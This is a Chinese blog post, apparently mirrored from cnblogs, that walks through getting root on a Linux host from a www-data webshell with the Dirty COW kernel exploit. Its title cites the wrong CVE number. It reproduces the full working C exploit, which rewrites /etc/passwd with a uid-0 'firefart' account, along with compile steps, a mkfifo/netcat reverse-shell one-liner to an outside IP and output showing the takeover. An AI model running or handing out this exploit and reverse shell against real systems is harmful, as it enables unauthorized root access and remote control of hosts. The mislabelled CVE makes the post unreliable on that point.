zoukankan      html  css  js  c++  java
  • CVE-2016-5159 利用脏牛漏洞Linux提权复现

    当前路径: /var/www
    磁盘列表: /
    系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64
    当前用户: www-data
    执行exp c 文件  影响版本低于3.9的linux内核
     
    //
    // This exploit uses the pokemon exploit of the dirtycow vulnerability
    // as a base and automatically generates a new passwd line.
    // The user will be prompted for the new password when the binary is run.
    // The original /etc/passwd file is then backed up to /tmp/passwd.bak
    // and overwrites the root account with the generated line.
    // After running the exploit you should be able to login with the newly
    // created user.
    //
    // To use this exploit modify the user values according to your needs.
    //   The default is "firefart".
    //
    // Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
    //   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
    //
    // Compile with:
    //   gcc -pthread dirty.c -o dirty -lcrypt
    //
    // Then run the newly create binary by either doing:
    //   "./dirty" or "./dirty my-new-password"
    //
    // Afterwards, you can either "su firefart" or "ssh firefart@..."
    //
    // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
    //   mv /tmp/passwd.bak /etc/passwd
    //
    // Exploit adopted by Christian "FireFart" Mehlmauer
    // https://firefart.at
    //
    
    #include <fcntl.h>
    #include <pthread.h>
    #include <string.h>
    #include <stdio.h>
    #include <stdint.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <crypt.h>
    
    const char *filename = "/etc/passwd";
    const char *backup_filename = "/tmp/passwd.bak";
    const char *salt = "firefart";
    
    int f;
    void *map;
    pid_t pid;
    pthread_t pth;
    struct stat st;
    
    struct Userinfo {
       char *username;
       char *hash;
       int user_id;
       int group_id;
       char *info;
       char *home_dir;
       char *shell;
    };
    
    char *generate_password_hash(char *plaintext_pw) {
      return crypt(plaintext_pw, salt);
    }
    
    char *generate_passwd_line(struct Userinfo u) {
      const char *format = "%s:%s:%d:%d:%s:%s:%s
    ";
      int size = snprintf(NULL, 0, format, u.username, u.hash,
        u.user_id, u.group_id, u.info, u.home_dir, u.shell);
      char *ret = malloc(size + 1);
      sprintf(ret, format, u.username, u.hash, u.user_id,
        u.group_id, u.info, u.home_dir, u.shell);
      return ret;
    }
    
    void *madviseThread(void *arg) {
      int i, c = 0;
      for(i = 0; i < 200000000; i++) {
        c += madvise(map, 100, MADV_DONTNEED);
      }
      printf("madvise %d
    
    ", c);
    }
    
    int copy_file(const char *from, const char *to) {
      // check if target file already exists
      if(access(to, F_OK) != -1) {
        printf("File %s already exists! Please delete it and run again
    ",
          to);
        return -1;
      }
    
      char ch;
      FILE *source, *target;
    
      source = fopen(from, "r");
      if(source == NULL) {
        return -1;
      }
      target = fopen(to, "w");
      if(target == NULL) {
         fclose(source);
         return -1;
      }
    
      while((ch = fgetc(source)) != EOF) {
         fputc(ch, target);
       }
    
      printf("%s successfully backed up to %s
    ",
        from, to);
    
      fclose(source);
      fclose(target);
    
      return 0;
    }
    
    int main(int argc, char *argv[])
    {
      // backup file
      int ret = copy_file(filename, backup_filename);
      if (ret != 0) {
        exit(ret);
      }
    
      struct Userinfo user;
      // set values, change as needed
      user.username = "firefart";
      user.user_id = 0;
      user.group_id = 0;
      user.info = "pwned";
      user.home_dir = "/root";
      user.shell = "/bin/bash";
    
      char *plaintext_pw;
    
      if (argc >= 2) {
        plaintext_pw = argv[1];
        printf("Please enter the new password: %s
    ", plaintext_pw);
      } else {
        plaintext_pw = getpass("Please enter the new password: ");
      }
    
      user.hash = generate_password_hash(plaintext_pw);
      char *complete_passwd_line = generate_passwd_line(user);
      printf("Complete line:
    %s
    ", complete_passwd_line);
    
      f = open(filename, O_RDONLY);
      fstat(f, &st);
      map = mmap(NULL,
                 st.st_size + sizeof(long),
                 PROT_READ,
                 MAP_PRIVATE,
                 f,
                 0);
      printf("mmap: %lx
    ",(unsigned long)map);
      pid = fork();
      if(pid) {
        waitpid(pid, NULL, 0);
        int u, i, o, c = 0;
        int l=strlen(complete_passwd_line);
        for(i = 0; i < 10000/l; i++) {
          for(o = 0; o < l; o++) {
            for(u = 0; u < 10000; u++) {
              c += ptrace(PTRACE_POKETEXT,
                          pid,
                          map + o,
                          *((long*)(complete_passwd_line + o)));
            }
          }
        }
        printf("ptrace %d
    ",c);
      }
      else {
        pthread_create(&pth,
                       NULL,
                       madviseThread,
                       NULL);
        ptrace(PTRACE_TRACEME);
        kill(getpid(), SIGSTOP);
        pthread_join(pth,NULL);
      }
    
      printf("Done! Check %s to see if the new user was created.
    ", filename);
      printf("You can log in with the username '%s' and the password '%s'.
    
    ",
        user.username, plaintext_pw);
        printf("
    DON'T FORGET TO RESTORE! $ mv %s %s
    ",
        backup_filename, filename);
      return 0;
    }

    把此文件另存为上传后缀 .c

     执行gcc 编译

    gcc  -pthread 1.c -o dirty(编译后文件) -lcrypt

    提示

    File /tmp/passwd.bak already exists! Please delete it and run again

    在去执行

    (www-data:/var/tmp) $ rm /tmp/passwd.bak

    这里我们反弹一个shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.79 7777 >/tmp/f

    windows 那边利用 nc 接受反弹的shell

    python -c "import pty;pty.spawn('/bin/bash')"

    如何反弹成功

    执行 ./1.c  123(root密码是123)

    这里可以重新尝试弹反新的shell 在去连接 

    查看/etc/passwd

    (www-data:/var/tmp) $ cat /etc/passwd
    firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash
    /sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:
    发现 firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash   root 用户已经改变

    在输入 su 切换用户 输入密码

    已经成功提权 root  这里在输入su 时候可能提示 su: Authentication failure 多尝试几次

  • 相关阅读:
    JDBC异常总结
    MySQL查看最大连接数和修改最大连接数
    标量子查询 子查询执行次数计算公式
    left join 关联条件位置
    MySQL查看最大连接数和修改最大连接数
    MySQL查看最大连接数和修改最大连接数
    MySQL查看最大连接数和修改最大连接数
    MySQL查看最大连接数和修改最大连接数
    MySQL查看最大连接数和修改最大连接数
    MySQL查看最大连接数和修改最大连接数
  • 原文地址:https://www.cnblogs.com/feizianquan/p/10791262.html
Copyright © 2011-2022 走看看